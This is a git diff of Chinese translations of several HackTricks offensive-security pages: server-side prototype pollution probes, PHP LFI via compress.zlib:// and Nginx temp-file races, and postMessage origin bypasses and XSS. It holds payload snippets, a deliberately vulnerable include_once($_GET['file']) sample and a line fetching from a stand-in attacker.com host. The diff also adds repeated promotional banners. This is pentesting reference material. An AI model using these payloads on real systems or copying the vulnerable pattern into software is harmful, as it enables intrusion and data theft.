<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -6,17 +6,31 @@
支持HackTricks的其他方式
- 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
- 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## 提供XSS响应
**有关更多详细信息,请查看[原始研究](https://portswigger.net/research/server-side-prototype-pollution)**
**有关更多详细信息,请参阅[原始研究](https://portswigger.net/research/server-side-prototype-pollution)**
### 将JSON内容类型更改为HTML
@ -40,11 +54,11 @@ res.send(req.body);
```json
{"__proto__":{"content-type": "application/json; charset=utf-7"}}
```
## 安全扫描技
## 安全扫描技
### JSON 空格
以下的 PP 将使 JSON 内部的属性多出一个空格,不会破坏功能:
以下的 PP 会使 JSON 内部的属性多出一个空格,而不会破坏功能:
```json
{"__proto__":{"json spaces": " "}}
```
@ -86,11 +100,11 @@ res.send(req.body);
```
### 反射值
当应用程序在其响应中包含一个对象时,创建一个`__proto__` 并列的**不寻常名称的属性**可能会很有见地。具体来说,如果响应中**只返回不寻常的属性**,这可能表明应用程序存在漏洞:
当应用程序在其响应中包含一个对象时,创建一个带有`__proto__`旁边的**不寻常名称的属性**可能会很有见地。具体来说,如果响应中**只返回不寻常的属性**,这可能表明应用程序存在漏洞:
```json
{"unusualName":"value","__proto__":"test"}
```
此外,在使用诸如 Lodash 这样的库的情况下通过原型污染PP和直接在对象内设置属性提供了另一种诊断方法。如果在响应中省略了这样的属性则表明 Lodash 在合并之前验证了目标对象中属性的存在:
此外,在使用诸如 Lodash 这样的库的情况下通过原型污染PP和直接在对象内设置属性,提供了另一种诊断方法。如果在响应中省略了这样的属性,则表明 Lodash 在合并之前验证了目标对象中属性的存在:
```javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
@ -110,6 +124,19 @@ res.send(req.body);
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**损害**。
WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>

View file

@ -2,26 +2,39 @@
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
其他支持HackTricks的方式
支持HackTricks的其他方式:
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。
WhiteIntel的主要目标是打击由窃取信息的恶意软件导致的账户劫持和勒索软件攻击。
您可以在以下网址查看他们的网站并尝试他们的引擎,**免费**使用:
{% embed url="https://whiteintel.io" %}
---
## `compress.zlib://``PHP_STREAM_PREFER_STDIO`
使用协议`compress.zlib://`和标志`PHP_STREAM_PREFER_STDIO`打开的文件可以继续将后续到达的数据写入同一文件。
使用`compress.zlib://`协议和标志`PHP_STREAM_PREFER_STDIO`打开的文件可以继续将到达连接的数据写入同一文件。
这意味着可以进行如下调用:
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
将发送一个请求请求http://attacker.com/file然后服务器可能会用一个有效的HTTP响应来回应该请求保持连接打开并在一段时间后发送额外的数据这些数据也将被写入文件中。
将发送一个请求请求http://attacker.com/file然后服务器可能会用一个有效的HTTP响应来回应该请求保持连接打开并在稍后发送额外的数据,这些数据也会被写入文件
您可以在php-src代码的main/streams/cast.c部分看到这些信息
```c
@ -41,12 +54,23 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
**在**这个**连接**存在的同时,攻击者将**窃取临时文件的路径**(被服务器泄露)。
**在**连接**仍然打开的情况下,攻击者将**利用LFI加载他控制的临时文件**。
**在**连接**仍然打开**的情况下,攻击者将**利用LFI加载他控制的临时文件**。
然而Web服务器中有一个检查**阻止加载包含`<?`的文件**。因此,攻击者将滥用**竞争条件**。在仍然打开的连接中,**攻击者**将在**Web服务器**检查文件是否包含禁止字符之后**发送PHP有效载荷但在加载其内容之前**。
然而Web服务器中有一个检查**阻止加载包含`<?`的文件**。因此,攻击者将滥用**竞争条件**。在仍然打开的连接中,**攻击者**将在**Web服务器**检查文件是否包含禁止字符之后**发送PHP有效载荷**,但在**加载其内容之前**。
有关更多信息请查看竞争条件和CTF的描述[https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个以**暗网**为基础的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以在以下网址检查他们的网站并尝试他们的引擎,**免费**
{% embed url="https://whiteintel.io" %}
<details>
@ -54,7 +78,7 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。

View file

@ -2,24 +2,38 @@
<details>
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想看到您的**公司在HackTricks中广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## 可被利用的配置
## WhiteIntel
**[来自https://bierbaumer.net/security/php-lfi-with-nginx-assistance/的示例](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)**
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## 可破坏的配置
**[示例来自 https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)**
* PHP代码:
```
````h`
<?php include_once($_GET['file']);
```
* FPM / PHP 配置:
@ -29,8 +43,8 @@ php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...
```
* 设置 / 化:
```
* 设置 / 化:
```bash
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
@ -38,9 +52,9 @@ chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
```
幸运的是PHP 目前经常通过 PHP-FPM 和 Nginx 部署。Nginx 提供了一个很容易被忽视的 [client body buffering](https://nginx.org/en/docs/http/ngx\_http\_core\_module.html#client\_body\_buffer\_size) 功能,如果客户端请求体(不仅限于 post超过一定阈值将会写入临时文件。
这个功能允许 LFIs 被利用,而无需任何其他创建文件的方式,如果 Nginx 以与 PHP 相同的用户身份运行(通常会以 www-data 身份运行)
如果 Nginx 以与 PHP 相同的用户(通常是 www-data身份运行此功能允许利用 LFI 而无需任何其他创建文件的方式
相关的 Nginx 代码
相关的 Nginx 代码:
```c
ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
@ -57,7 +71,7 @@ if (fd != -1 && !persistent) {
return fd;
}
```
这里明显可以看到,在被 Nginx 打开后,**临时文件会立即取消链接**。幸运的是,**procfs 可以用来仍然获取**已删除文件的引用,通过竞争:
这里可以看到在被Nginx打开后**临时文件会立即取消链接**。幸运的是,**procfs可以用来仍然获取**已删除文件的引用,通过竞争:
```
...
/proc/34/fd:
@ -278,16 +292,28 @@ read_file_multiprocess(requests_session, nginx_pids)
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。
WhiteIntel 的主要目标是打击由窃取信息的恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
支持 HackTricks 的其他方式:
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord **](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** 上关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>

View file

@ -10,12 +10,26 @@
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## 发送**PostMessage**
**PostMessage**使用以下函数发送消息:
@ -50,7 +64,7 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
### 攻击 iframe 和 **targetOrigin** 中的通配符
如[**此报告**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)所解释的,如果您找到一个可以被**iframed**(没有 `X-Frame-Header` 保护)且通过**postMessage**发送**敏感**消息的页面,且使用**通配符**\*),您可以**修改** **iframe** 的**来源**并将**敏感**消息**泄**到您控制的域。\
如[**此报告**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)所,如果您找到一个可以被**iframed**(没有 `X-Frame-Header` 保护)且通过**postMessage**发送**敏感**消息的页面,且使用**通配符**\*),您可以**修改** **iframe** 的**来源**并将**敏感**消息**泄**到您控制的域。\
请注意,如果页面可以被 iframed 但**targetOrigin**设置为 URL 而不是通配符,则此**技巧将无效**。
```markup
<html>
@ -82,62 +96,52 @@ return;
为了在当前页面中找到事件监听器,您可以:
- **搜索**JS代码中的`window.addEventListener`和`$(window).on`_JQuery版本_
- 在开发者工具控制台中**执行**`getEventListeners(window)`
![](<../../.gitbook/assets/image (618) (1) (1).png>)
- 转到浏览器的开发者工具中的_元素 --> 事件监听器_
![](<../../.gitbook/assets/image (617).png>)
- 使用类似[**https://github.com/benso-io/posta**](https://github.com/benso-io/posta)或[https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker)的**浏览器扩展**。这些浏览器扩展将**拦截所有消息**并显示给您。
- 在JS代码中搜索 `window.addEventListener``$(window).on`JQuery版本
- 在开发者工具控制台中执行:`getEventListeners(window)`
- 转到浏览器的开发者工具中的 _Elements --> Event Listeners_
- 使用浏览器扩展,如 [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) 或 [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker)。这些浏览器扩展将拦截所有消息并显示给您。
### 源检查绕过
- **`event.isTrusted`**属性被认为是安全的,因为它仅对由真实用户操作生成的事件返回`True`。尽管如果实施正确,很难绕过,但它在安全检查中的重要性值得注意。
- 在PostMessage事件中使用**`indexOf()`**进行源验证可能会容易受到绕过。一个说明此漏洞的示例是:
- `event.isTrusted` 属性被认为是安全的,因为它仅对由真实用户操作生成的事件返回 `True`。尽管如果实施正确,很难绕过,但它在安全检查中的重要性值得注意。
- 在 PostMessage 事件中使用 `indexOf()` 进行源验证可能容易被绕过。以下是说明此漏洞的示例:
```javascript
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
```
- `String.prototype.search()`中的**`search()`**方法用于正则表达式,而不是字符串。传递除正则表达式之外的任何内容会导致隐式转换为正则表达式,使该方法可能不安全。这是因为在正则表达式中,点(.)充当通配符,允许使用特别设计的域绕过验证。例如:
- `String.prototype.search()` 中的 `search()` 方法用于正则表达式,而不是字符串。传递除正则表达式以外的任何内容会导致隐式转换为正则表达式,使该方法可能不安全。这是因为在正则表达式中,点(.)充当通配符,允许使用特别设计的域绕过验证。例如:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- `match()` 函数类似于 `search()`,处理正则表达式。如果正则表达式结构不正确,可能容易被绕过。
- `escapeHtml` 函数旨在通过转义字符来对输入进行清理。但它不会创建新的转义对象,而是覆盖现有对象的属性。这种行为可能会被利用。特别是,如果可以操纵对象以使其受控属性不承认 `hasOwnProperty`,则 `escapeHtml` 不会按预期执行。以下示例演示了这一点:
- 与`search()`类似,**`match()`**函数处理正则表达式。如果正则表达式结构不正确,可能容易受到绕过攻击。
* 预期失败:
- **`escapeHtml`**函数旨在通过转义字符来对输入进行清理。但它不会创建新的转义对象,而是覆盖现有对象的属性。这种行为可能会被利用。特别是,如果可以操纵对象以使其受控属性不承认`hasOwnProperty`,则`escapeHtml`不会按预期执行。以下示例演示了这一点:
- 预期失败:
```javascript
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
```
* 绕过转义:
- 绕过转义:
```javascript
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```
在此漏洞的背景下,`File`对象由于其只读的`name`属性而容易受到利用。当在模板中使用此属性时,它不会被`escapeHtml`函数清理,从而导致潜在的安全风险。
在此漏洞的背景下,`File` 对象由于其只读的 `name` 属性而容易被利用。当在模板中使用此属性时,`escapeHtml` 函数不会对其进行清理,从而导致潜在的安全风险。
- JavaScript 中的 `document.domain` 属性可以由脚本设置为缩短域名,从而在同一父域内更宽松地执行同源策略。
- JavaScript中的`document.domain`属性可以由脚本设置为缩短域名,从而在同一父域内更轻松地执行同源策略。
### e.origin == window.origin 绕过
### e.origin == window.origin绕过
在使用 %%%%%% 在 **受限制的 iframe** 中嵌入网页时,理解 iframe 的来源将被设置为 null 是至关重要的。这在处理 **受限制属性** 及其对安全性和功能的影响时尤为重要。
在使用%%%<iframe sandbox="allow-scripts" src="https://example.com/iframe.php">%%%嵌入受沙盒保护的iframe中的网页时了解iframe的源将设置为`null`至关重要。这在处理**沙盒属性**及其对安全性和功能的影响时尤为重要
通过在受限制属性中指定 **`allow-popups`**,从 iframe 中打开的任何弹出窗口都会继承其父级的受限制属性。这意味着,除非还包括 **`allow-popups-to-escape-sandbox`** 属性,否则弹出窗口的来源也会被设置为 `null`,与 iframe 的来源相同
通过在沙盒属性中指定**`allow-popups`**从iframe内部打开的任何弹出窗口都会继承其父级的沙盒限制。这意味着除非还包括**`allow-popups-to-escape-sandbox`**属性,否则弹出窗口的源也会被设置为`null`与iframe的源相匹配。
因此在这些条件下打开弹出窗口并从iframe发送消息到弹出窗口时发送和接收端的源都设置为`null`。这种情况导致**`e.origin == window.origin`**评估为true`null == null`因为iframe和弹出窗口共享`null`的相同源值。
因此,在这些条件下打开弹出窗口并从 iframe 发送消息到弹出窗口时,发送和接收端的来源都被设置为 `null`。这种情况导致 **`e.origin == window.origin`** 评估为 true`null == null`),因为 iframe 和弹出窗口共享相同的 `null` 来源值。
有关更多信息,请阅读:
@ -145,9 +149,9 @@ result.message; // "'"<b>\"
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
### 绕过e.source
### 绕过 e.source
可以检查消息是否来自脚本正在监听的同一窗口(对于**浏览器扩展的内容脚本**特别有趣,以检查消息是否来自同一页面):
可以检查消息是否来自脚本正在监听的同一窗口(对于来自浏览器扩展的 **内容脚本** 特别有趣,以检查消息是否来自同一页面):
```javascript
// If its not, return immediately.
if( received_message.source !== window ) {
@ -164,17 +168,17 @@ return;
### X-Frame-Header绕过
为了执行这些攻击,理想情况下您可以将受害者网页放在一个`iframe`中。但是一些头部字段如`X-Frame-Header`可能会**阻止**这种**行为**。\
在这种情况下,您仍然可以使用一种不太隐蔽的攻击。您可以打开一个新标签页到受影响的Web应用程序并与其通信
为了执行这些攻击,理想情况下您可以将受害者网页放在一个`iframe`中。但是一些头部字段如`X-Frame-Header`可能会**阻止**这种**行为**。\
在这种情况下,您仍然可以使用一种不太隐蔽的攻击。您可以打开一个新标签页到受漏洞的Web应用程序并与其通信
```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### 通过阻止主页面窃取发送给子页面的消息
### 通过阻止主页面窃取发送给子iframe的消息
在以下页面中,您可以看到如何通过在发送数据之前**阻止主页面**并利用**子iframe**中的**XSS**来**窃取敏感的postmessage数据**,在数据被接收之前**泄露数据**
在以下页面中,您可以看到如何通过在发送数据之前**阻止**主页面并利用子页面中的**XSS**来**窃取**发送给**子iframe**的**敏感postmessage数据**
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
@ -182,7 +186,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
### 通过修改iframe位置窃取消息
如果您可以嵌入一个没有X-Frame-Header的包含另一个iframe的网页您可以**更改该子iframe的位置**,因此,如果它正在接收使用**通配符**发送的**postmessage**攻击者可以将该iframe的**来源**更改为由他控制的页面并**窃取消息**
如果您可以嵌入一个没有X-Frame-Header的包含另一个iframe的网页您可以**更改**该子iframe的位置因此如果它正在接收使用**通配符**发送的**postmessage**攻击者可以将该iframe的**来源**更改为由他控制的页面并**窃取**消息:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
@ -190,11 +194,11 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
### postMessage到Prototype Pollution和/或XSS
在通过`postMessage`发送的数据由JS执行的情况下您可以**嵌入**该**页面**并利用**原型污染/XSS**通过`postMessage`发送利用程序
在通过`postMessage`发送的数据由JS执行的情况下您可以**嵌入**页面并通过`postMessage`发送利用**原型污染/XSS**的攻击
可以在[https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)中找到一些**非常好解释的通过`postMessage`的XSS**示例
可以在[https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)中找到一些**非常好解释的通过`postMessage`进行XSS**的例子
通过`postMessage`滥用**原型污染然后XSS**到一个`iframe`的利用示例:
通过`postMessage`向`iframe`发送利用**原型污染然后XSS**的利用示例:
```html
<html>
<body>
@ -210,11 +214,11 @@ setTimeout(get_code, 2000);
</body>
</html>
```
**更多信息**
## 更多信息
* 链接到关[**原型污染**](../deserialization/nodejs-proto-prototype-pollution/)的页面
* 链接到关[**XSS**](../xss-cross-site-scripting/)的页面
* 链接到关[**客户端原型污染到XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)的页面
* 链接到关[**原型污染**](../deserialization/nodejs-proto-prototype-pollution/)的页面
* 链接到关[**XSS**](../xss-cross-site-scripting/)的页面
* 链接到关[**客户端原型污染到XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)的页面
## 参考资料
@ -222,16 +226,28 @@ setTimeout(get_code, 2000);
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
* 练习:[https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
